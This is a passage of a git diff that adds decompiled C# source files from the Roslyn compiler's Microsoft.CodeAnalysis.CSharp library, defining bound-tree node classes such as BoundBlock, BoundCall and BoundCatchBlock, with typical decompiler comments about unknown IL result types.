{ + BoundBinaryOperator boundBinaryOperator = new BoundBinaryOperator(Syntax, operatorKind, data, resultKind, left, right, type, base.HasErrors); + boundBinaryOperator.CopyAttributes(this); + return boundBinaryOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBinaryOperatorBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBinaryOperatorBase.cs new file mode 100644 index 0000000..2b67259 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBinaryOperatorBase.cs @@ -0,0 +1,19 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundBinaryOperatorBase : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Left { get; } + + public BoundExpression Right { get; } + + protected BoundBinaryOperatorBase(BoundKind kind, SyntaxNode syntax, BoundExpression left, BoundExpression right, TypeSymbol type, bool hasErrors = false) + : base(kind, syntax, type, hasErrors) + { + Left = left; + Right = right; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBinaryPattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBinaryPattern.cs new file mode 100644 index 0000000..1be4b72 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBinaryPattern.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundBinaryPattern : BoundPattern +{ + public bool Disjunction { get; } + + public BoundPattern Left { get; } + + public BoundPattern Right { get; } + + public BoundBinaryPattern(SyntaxNode syntax, bool disjunction, BoundPattern left, BoundPattern right, TypeSymbol inputType, TypeSymbol narrowedType, bool hasErrors = false) + : base(BoundKind.BinaryPattern, syntax, inputType, narrowedType, hasErrors || left.HasErrors() || right.HasErrors()) + { + Disjunction = disjunction; + Left = left; + Right = right; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitBinaryPattern(this); + } + + public BoundBinaryPattern Update(bool disjunction, BoundPattern left, BoundPattern right, TypeSymbol inputType, TypeSymbol narrowedType) + { + if (disjunction != Disjunction || left != Left || right != Right || !TypeSymbol.Equals(inputType, base.InputType, (TypeCompareKind)0) || !TypeSymbol.Equals(narrowedType, base.NarrowedType, (TypeCompareKind)0)) + { + BoundBinaryPattern boundBinaryPattern = new BoundBinaryPattern(Syntax, disjunction, left, right, inputType, narrowedType, base.HasErrors); + boundBinaryPattern.CopyAttributes(this); + return boundBinaryPattern; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBlock.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBlock.cs new file mode 100644 index 0000000..5ae92ef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBlock.cs @@ -0,0 +1,71 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundBlock : BoundStatementList +{ + public ImmutableArray Locals { get; } + + public ImmutableArray LocalFunctions { get; } + + public bool HasUnsafeModifier { get; } + + public BoundBlockInstrumentation? Instrumentation { get; } + + public BoundBlock(SyntaxNode syntax, ImmutableArray locals, ImmutableArray statements, bool hasErrors = false) + : this(syntax, locals, ImmutableArray.Empty, hasUnsafeModifier: false, null, statements, hasErrors) + { + } + + public static BoundBlock SynthesizedNoLocals(SyntaxNode syntax, BoundStatement statement) + { + return new BoundBlock(syntax, ImmutableArray.Empty, ImmutableArray.Create(statement)) + { + WasCompilerGenerated = true + }; + } + + public static BoundBlock SynthesizedNoLocals(SyntaxNode syntax, ImmutableArray statements) + { + return new BoundBlock(syntax, ImmutableArray.Empty, statements) + { + WasCompilerGenerated = true + }; + } + + public static BoundBlock SynthesizedNoLocals(SyntaxNode syntax, params BoundStatement[] statements) + { + return new BoundBlock(syntax, ImmutableArray.Empty, ImmutableArrayExtensions.AsImmutableOrNull(statements)) + { + WasCompilerGenerated = true + }; + } + + public BoundBlock(SyntaxNode syntax, ImmutableArray locals, ImmutableArray localFunctions, bool hasUnsafeModifier, BoundBlockInstrumentation? instrumentation, ImmutableArray statements, bool hasErrors = false) + : base(BoundKind.Block, syntax, statements, hasErrors || instrumentation.HasErrors() || statements.HasErrors()) + { + Locals = locals; + LocalFunctions = localFunctions; + HasUnsafeModifier = hasUnsafeModifier; + Instrumentation = instrumentation; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitBlock(this); + } + + public BoundBlock Update(ImmutableArray locals, ImmutableArray localFunctions, bool hasUnsafeModifier, BoundBlockInstrumentation? instrumentation, ImmutableArray statements) + { + if (locals != Locals || localFunctions != LocalFunctions || hasUnsafeModifier != HasUnsafeModifier || instrumentation != Instrumentation || statements != base.Statements) + { + BoundBlock boundBlock = new BoundBlock(Syntax, locals, localFunctions, hasUnsafeModifier, instrumentation, statements, base.HasErrors); + boundBlock.CopyAttributes(this); + return boundBlock; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBlockInstrumentation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBlockInstrumentation.cs new file mode 100644 index 0000000..5a72ba1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBlockInstrumentation.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundBlockInstrumentation : BoundNode +{ + public LocalSymbol Local { get; } + + public BoundStatement Prologue { get; } + + public BoundStatement Epilogue { get; } + + public BoundBlockInstrumentation(SyntaxNode syntax, LocalSymbol local, BoundStatement prologue, BoundStatement epilogue, bool hasErrors = false) + : base(BoundKind.BlockInstrumentation, syntax, hasErrors || prologue.HasErrors() || epilogue.HasErrors()) + { + Local = local; + Prologue = prologue; + Epilogue = epilogue; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitBlockInstrumentation(this); + } + + public BoundBlockInstrumentation Update(LocalSymbol local, BoundStatement prologue, BoundStatement epilogue) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(local, Local) || prologue != Prologue || epilogue != Epilogue) + { + BoundBlockInstrumentation boundBlockInstrumentation = new BoundBlockInstrumentation(Syntax, local, prologue, epilogue, base.HasErrors); + boundBlockInstrumentation.CopyAttributes(this); + return boundBlockInstrumentation; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBreakStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBreakStatement.cs new file mode 100644 index 0000000..adacd9a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBreakStatement.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundBreakStatement : BoundStatement +{ + public GeneratedLabelSymbol Label { get; } + + public BoundBreakStatement(SyntaxNode syntax, GeneratedLabelSymbol label, bool hasErrors) + : base(BoundKind.BreakStatement, syntax, hasErrors) + { + Label = label; + } + + public BoundBreakStatement(SyntaxNode syntax, GeneratedLabelSymbol label) + : base(BoundKind.BreakStatement, syntax) + { + Label = label; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitBreakStatement(this); + } + + public BoundBreakStatement Update(GeneratedLabelSymbol label) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(label, Label)) + { + BoundBreakStatement boundBreakStatement = new BoundBreakStatement(Syntax, label, base.HasErrors); + boundBreakStatement.CopyAttributes(this); + return boundBreakStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCall.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCall.cs new file mode 100644 index 0000000..902b0fe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCall.cs @@ -0,0 +1,178 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Operations; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundCall : BoundExpression, IBoundInvalidNode +{ + public override Symbol ExpressionSymbol => Method; + + ImmutableArray IBoundInvalidNode.InvalidNodeChildren => CSharpOperationFactory.CreateInvalidChildrenFromArgumentsExpression(ReceiverOpt, Arguments); + + public new TypeSymbol Type => base.Type; + + public BoundExpression? ReceiverOpt { get; } + + public ThreeState InitialBindingReceiverIsSubjectToCloning { get; } + + public MethodSymbol Method { get; } + + public ImmutableArray Arguments { get; } + + public ImmutableArray ArgumentNamesOpt { get; } + + public ImmutableArray ArgumentRefKindsOpt { get; } + + public bool IsDelegateCall { get; } + + public bool Expanded { get; } + + public bool InvokedAsExtensionMethod { get; } + + public ImmutableArray ArgsToParamsOpt { get; } + + public BitVector DefaultArguments { get; } + + public override LookupResultKind ResultKind { get; } + + public ImmutableArray OriginalMethodsOpt { get; } + + public BoundCall(SyntaxNode syntax, BoundExpression? receiverOpt, ThreeState initialBindingReceiverIsSubjectToCloning, MethodSymbol method, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool isDelegateCall, bool expanded, bool invokedAsExtensionMethod, ImmutableArray argsToParamsOpt, BitVector defaultArguments, LookupResultKind resultKind, TypeSymbol type, bool hasErrors = false) + : this(syntax, receiverOpt, initialBindingReceiverIsSubjectToCloning, method, arguments, argumentNamesOpt, argumentRefKindsOpt, isDelegateCall, expanded, invokedAsExtensionMethod, argsToParamsOpt, defaultArguments, resultKind, default(ImmutableArray), type, hasErrors) + { + }//IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + + + public BoundCall Update(BoundExpression? receiverOpt, ThreeState initialBindingReceiverIsSubjectToCloning, MethodSymbol method, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool isDelegateCall, bool expanded, bool invokedAsExtensionMethod, ImmutableArray argsToParamsOpt, BitVector defaultArguments, LookupResultKind resultKind, TypeSymbol type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return Update(receiverOpt, initialBindingReceiverIsSubjectToCloning, method, arguments, argumentNamesOpt, argumentRefKindsOpt, isDelegateCall, expanded, invokedAsExtensionMethod, argsToParamsOpt, defaultArguments, resultKind, OriginalMethodsOpt, type); + } + + public static BoundCall ErrorCall(SyntaxNode node, BoundExpression receiverOpt, MethodSymbol method, ImmutableArray arguments, ImmutableArray namedArguments, ImmutableArray refKinds, bool isDelegateCall, bool invokedAsExtensionMethod, ImmutableArray originalMethods, LookupResultKind resultKind, Binder binder) + { + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + if (!originalMethods.IsEmpty) + { + resultKind = resultKind.WorseResultKind(LookupResultKind.OverloadResolutionFailure); + } + return new BoundCall(node, binder.BindToTypeForErrorRecovery(receiverOpt), (ThreeState)1, method, ImmutableArrayExtensions.SelectAsArray(arguments, (Func)((BoundExpression e, Binder binder2) => binder2.BindToTypeForErrorRecovery(e)), binder), namedArguments, refKinds, isDelegateCall, expanded: false, invokedAsExtensionMethod, default(ImmutableArray), default(BitVector), resultKind, originalMethods, method.ReturnType, hasErrors: true); + } + + public BoundCall Update(ImmutableArray arguments) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(ReceiverOpt, InitialBindingReceiverIsSubjectToCloning, Method, arguments, ArgumentNamesOpt, ArgumentRefKindsOpt, IsDelegateCall, Expanded, InvokedAsExtensionMethod, ArgsToParamsOpt, DefaultArguments, ResultKind, OriginalMethodsOpt, Type); + } + + public BoundCall Update(BoundExpression? receiverOpt, ThreeState initialBindingReceiverIsSubjectToCloning, MethodSymbol method, ImmutableArray arguments) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + return Update(receiverOpt, initialBindingReceiverIsSubjectToCloning, method, arguments, ArgumentNamesOpt, ArgumentRefKindsOpt, IsDelegateCall, Expanded, InvokedAsExtensionMethod, ArgsToParamsOpt, DefaultArguments, ResultKind, OriginalMethodsOpt, Type); + } + + public static BoundCall Synthesized(SyntaxNode syntax, BoundExpression? receiverOpt, ThreeState initialBindingReceiverIsSubjectToCloning, MethodSymbol method) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Synthesized(syntax, receiverOpt, initialBindingReceiverIsSubjectToCloning, method, ImmutableArray.Empty); + } + + public static BoundCall Synthesized(SyntaxNode syntax, BoundExpression? receiverOpt, ThreeState initialBindingReceiverIsSubjectToCloning, MethodSymbol method, BoundExpression arg0) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Synthesized(syntax, receiverOpt, initialBindingReceiverIsSubjectToCloning, method, ImmutableArray.Create(arg0)); + } + + public static BoundCall Synthesized(SyntaxNode syntax, BoundExpression? receiverOpt, ThreeState initialBindingReceiverIsSubjectToCloning, MethodSymbol method, BoundExpression arg0, BoundExpression arg1) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Synthesized(syntax, receiverOpt, initialBindingReceiverIsSubjectToCloning, method, ImmutableArray.Create(arg0, arg1)); + } + + public static BoundCall Synthesized(SyntaxNode syntax, BoundExpression? receiverOpt, ThreeState initialBindingReceiverIsSubjectToCloning, MethodSymbol method, ImmutableArray arguments, ImmutableArray argumentRefKindsOpt = default(ImmutableArray)) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + argumentRefKindsOpt = (argumentRefKindsOpt.IsDefault ? getArgumentRefKinds(method) : argumentRefKindsOpt); + return new BoundCall(syntax, receiverOpt, initialBindingReceiverIsSubjectToCloning, method, arguments, default(ImmutableArray), argumentRefKindsOpt, isDelegateCall: false, expanded: false, invokedAsExtensionMethod: false, default(ImmutableArray), default(BitVector), LookupResultKind.Viable, default(ImmutableArray), method.ReturnType, method.OriginalDefinition is ErrorMethodSymbol) + { + WasCompilerGenerated = true + }; + static ImmutableArray getArgumentRefKinds(MethodSymbol methodSymbol) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Invalid comparison between Unknown and I4 + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray parameterRefKinds = methodSymbol.ParameterRefKinds; + if (!parameterRefKinds.IsDefaultOrEmpty && parameterRefKinds.Contains((RefKind)4)) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(parameterRefKinds.Length); + ImmutableArray.Enumerator enumerator = parameterRefKinds.GetEnumerator(); + while (enumerator.MoveNext()) + { + RefKind current = enumerator.Current; + instance.Add((RefKind)(((int)current == 4) ? 3 : ((int)current))); + } + return instance.ToImmutableAndFree(); + } + return parameterRefKinds; + } + } + + public BoundCall(SyntaxNode syntax, BoundExpression? receiverOpt, ThreeState initialBindingReceiverIsSubjectToCloning, MethodSymbol method, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool isDelegateCall, bool expanded, bool invokedAsExtensionMethod, ImmutableArray argsToParamsOpt, BitVector defaultArguments, LookupResultKind resultKind, ImmutableArray originalMethodsOpt, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.Call, syntax, type, hasErrors || receiverOpt.HasErrors() || arguments.HasErrors()) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + ReceiverOpt = receiverOpt; + InitialBindingReceiverIsSubjectToCloning = initialBindingReceiverIsSubjectToCloning; + Method = method; + Arguments = arguments; + ArgumentNamesOpt = argumentNamesOpt; + ArgumentRefKindsOpt = argumentRefKindsOpt; + IsDelegateCall = isDelegateCall; + Expanded = expanded; + InvokedAsExtensionMethod = invokedAsExtensionMethod; + ArgsToParamsOpt = argsToParamsOpt; + DefaultArguments = defaultArguments; + ResultKind = resultKind; + OriginalMethodsOpt = originalMethodsOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitCall(this); + } + + public BoundCall Update(BoundExpression? receiverOpt, ThreeState initialBindingReceiverIsSubjectToCloning, MethodSymbol method, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool isDelegateCall, bool expanded, bool invokedAsExtensionMethod, ImmutableArray argsToParamsOpt, BitVector defaultArguments, LookupResultKind resultKind, ImmutableArray originalMethodsOpt, TypeSymbol type) + { + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + if (receiverOpt != ReceiverOpt || initialBindingReceiverIsSubjectToCloning != InitialBindingReceiverIsSubjectToCloning || !SymbolEqualityComparer.ConsiderEverything.Equals(method, Method) || arguments != Arguments || argumentNamesOpt != ArgumentNamesOpt || argumentRefKindsOpt != ArgumentRefKindsOpt || isDelegateCall != IsDelegateCall || expanded != Expanded || invokedAsExtensionMethod != InvokedAsExtensionMethod || argsToParamsOpt != ArgsToParamsOpt || defaultArguments != DefaultArguments || resultKind != ResultKind || originalMethodsOpt != OriginalMethodsOpt || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundCall boundCall = new BoundCall(Syntax, receiverOpt, initialBindingReceiverIsSubjectToCloning, method, arguments, argumentNamesOpt, argumentRefKindsOpt, isDelegateCall, expanded, invokedAsExtensionMethod, argsToParamsOpt, defaultArguments, resultKind, originalMethodsOpt, type, base.HasErrors); + boundCall.CopyAttributes(this); + return boundCall; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCapturedReceiverPlaceholder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCapturedReceiverPlaceholder.cs new file mode 100644 index 0000000..451b134 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCapturedReceiverPlaceholder.cs @@ -0,0 +1,37 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundCapturedReceiverPlaceholder : BoundValuePlaceholderBase +{ + public sealed override bool IsEquivalentToThisReference => false; + + public BoundExpression Receiver { get; } + + public uint LocalScopeDepth { get; } + + public BoundCapturedReceiverPlaceholder(SyntaxNode syntax, BoundExpression receiver, uint localScopeDepth, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.CapturedReceiverPlaceholder, syntax, type, hasErrors || receiver.HasErrors()) + { + Receiver = receiver; + LocalScopeDepth = localScopeDepth; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitCapturedReceiverPlaceholder(this); + } + + public BoundCapturedReceiverPlaceholder Update(BoundExpression receiver, uint localScopeDepth, TypeSymbol? type) + { + if (receiver != Receiver || localScopeDepth != LocalScopeDepth || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundCapturedReceiverPlaceholder boundCapturedReceiverPlaceholder = new BoundCapturedReceiverPlaceholder(Syntax, receiver, localScopeDepth, type, base.HasErrors); + boundCapturedReceiverPlaceholder.CopyAttributes(this); + return boundCapturedReceiverPlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCatchBlock.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCatchBlock.cs new file mode 100644 index 0000000..5e2ed96 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCatchBlock.cs @@ -0,0 +1,51 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundCatchBlock : BoundNode +{ + public ImmutableArray Locals { get; } + + public BoundExpression? ExceptionSourceOpt { get; } + + public TypeSymbol? ExceptionTypeOpt { get; } + + public BoundStatementList? ExceptionFilterPrologueOpt { get; } + + public BoundExpression? ExceptionFilterOpt { get; } + + public BoundBlock Body { get; } + + public bool IsSynthesizedAsyncCatchAll { get; } + + public BoundCatchBlock(SyntaxNode syntax, ImmutableArray locals, BoundExpression? exceptionSourceOpt, TypeSymbol? exceptionTypeOpt, BoundStatementList? exceptionFilterPrologueOpt, BoundExpression? exceptionFilterOpt, BoundBlock body, bool isSynthesizedAsyncCatchAll, bool hasErrors = false) + : base(BoundKind.CatchBlock, syntax, hasErrors || exceptionSourceOpt.HasErrors() || exceptionFilterPrologueOpt.HasErrors() || exceptionFilterOpt.HasErrors() || body.HasErrors()) + { + Locals = locals; + ExceptionSourceOpt = exceptionSourceOpt; + ExceptionTypeOpt = exceptionTypeOpt; + ExceptionFilterPrologueOpt = exceptionFilterPrologueOpt; + ExceptionFilterOpt = exceptionFilterOpt; + Body = body; + IsSynthesizedAsyncCatchAll = isSynthesizedAsyncCatchAll; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitCatchBlock(this); + } + + public BoundCatchBlock Update(ImmutableArray locals, BoundExpression? exceptionSourceOpt, TypeSymbol? exceptionTypeOpt, BoundStatementList? exceptionFilterPrologueOpt, BoundExpression? exceptionFilterOpt, BoundBlock body, bool isSynthesizedAsyncCatchAll) + { + if (locals != Locals || exceptionSourceOpt != ExceptionSourceOpt || !TypeSymbol.Equals(exceptionTypeOpt, ExceptionTypeOpt, (TypeCompareKind)0) || exceptionFilterPrologueOpt != ExceptionFilterPrologueOpt || exceptionFilterOpt != ExceptionFilterOpt || body != Body || isSynthesizedAsyncCatchAll != IsSynthesizedAsyncCatchAll) + { + BoundCatchBlock boundCatchBlock = new BoundCatchBlock(Syntax, locals, exceptionSourceOpt, exceptionTypeOpt, exceptionFilterPrologueOpt, exceptionFilterOpt, body, isSynthesizedAsyncCatchAll, base.HasErrors); + boundCatchBlock.CopyAttributes(this); + return boundCatchBlock; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionElementInitializer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionElementInitializer.cs new file mode 100644 index 0000000..0b650a6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionElementInitializer.cs @@ -0,0 +1,66 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Operations; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundCollectionElementInitializer : BoundExpression, IBoundInvalidNode +{ + public override Symbol ExpressionSymbol => AddMethod; + + ImmutableArray IBoundInvalidNode.InvalidNodeChildren => CSharpOperationFactory.CreateInvalidChildrenFromArgumentsExpression(ImplicitReceiverOpt, Arguments); + + public new TypeSymbol Type => base.Type; + + public MethodSymbol AddMethod { get; } + + public ImmutableArray Arguments { get; } + + public BoundExpression? ImplicitReceiverOpt { get; } + + public bool Expanded { get; } + + public ImmutableArray ArgsToParamsOpt { get; } + + public BitVector DefaultArguments { get; } + + public bool InvokedAsExtensionMethod { get; } + + public override LookupResultKind ResultKind { get; } + + public BoundCollectionElementInitializer(SyntaxNode syntax, MethodSymbol addMethod, ImmutableArray arguments, BoundExpression? implicitReceiverOpt, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, bool invokedAsExtensionMethod, LookupResultKind resultKind, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.CollectionElementInitializer, syntax, type, hasErrors || arguments.HasErrors() || implicitReceiverOpt.HasErrors()) + { + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + AddMethod = addMethod; + Arguments = arguments; + ImplicitReceiverOpt = implicitReceiverOpt; + Expanded = expanded; + ArgsToParamsOpt = argsToParamsOpt; + DefaultArguments = defaultArguments; + InvokedAsExtensionMethod = invokedAsExtensionMethod; + ResultKind = resultKind; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitCollectionElementInitializer(this); + } + + public BoundCollectionElementInitializer Update(MethodSymbol addMethod, ImmutableArray arguments, BoundExpression? implicitReceiverOpt, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, bool invokedAsExtensionMethod, LookupResultKind resultKind, TypeSymbol type) + { + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + if (!SymbolEqualityComparer.ConsiderEverything.Equals(addMethod, AddMethod) || arguments != Arguments || implicitReceiverOpt != ImplicitReceiverOpt || expanded != Expanded || argsToParamsOpt != ArgsToParamsOpt || defaultArguments != DefaultArguments || invokedAsExtensionMethod != InvokedAsExtensionMethod || resultKind != ResultKind || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundCollectionElementInitializer boundCollectionElementInitializer = new BoundCollectionElementInitializer(Syntax, addMethod, arguments, implicitReceiverOpt, expanded, argsToParamsOpt, defaultArguments, invokedAsExtensionMethod, resultKind, type, base.HasErrors); + boundCollectionElementInitializer.CopyAttributes(this); + return boundCollectionElementInitializer; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionExpression.cs new file mode 100644 index 0000000..c270387 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionExpression.cs @@ -0,0 +1,50 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundCollectionExpression : BoundCollectionExpressionBase +{ + public new TypeSymbol Type => base.Type; + + public CollectionExpressionTypeKind CollectionTypeKind { get; } + + public BoundObjectOrCollectionValuePlaceholder? Placeholder { get; } + + public BoundExpression? CollectionCreation { get; } + + public MethodSymbol? CollectionBuilderMethod { get; } + + public BoundValuePlaceholder? CollectionBuilderInvocationPlaceholder { get; } + + public BoundExpression? CollectionBuilderInvocationConversion { get; } + + public BoundCollectionExpression(SyntaxNode syntax, CollectionExpressionTypeKind collectionTypeKind, BoundObjectOrCollectionValuePlaceholder? placeholder, BoundExpression? collectionCreation, MethodSymbol? collectionBuilderMethod, BoundValuePlaceholder? collectionBuilderInvocationPlaceholder, BoundExpression? collectionBuilderInvocationConversion, ImmutableArray elements, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.CollectionExpression, syntax, elements, type, hasErrors || placeholder.HasErrors() || collectionCreation.HasErrors() || collectionBuilderInvocationPlaceholder.HasErrors() || collectionBuilderInvocationConversion.HasErrors() || elements.HasErrors()) + { + CollectionTypeKind = collectionTypeKind; + Placeholder = placeholder; + CollectionCreation = collectionCreation; + CollectionBuilderMethod = collectionBuilderMethod; + CollectionBuilderInvocationPlaceholder = collectionBuilderInvocationPlaceholder; + CollectionBuilderInvocationConversion = collectionBuilderInvocationConversion; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitCollectionExpression(this); + } + + public BoundCollectionExpression Update(CollectionExpressionTypeKind collectionTypeKind, BoundObjectOrCollectionValuePlaceholder? placeholder, BoundExpression? collectionCreation, MethodSymbol? collectionBuilderMethod, BoundValuePlaceholder? 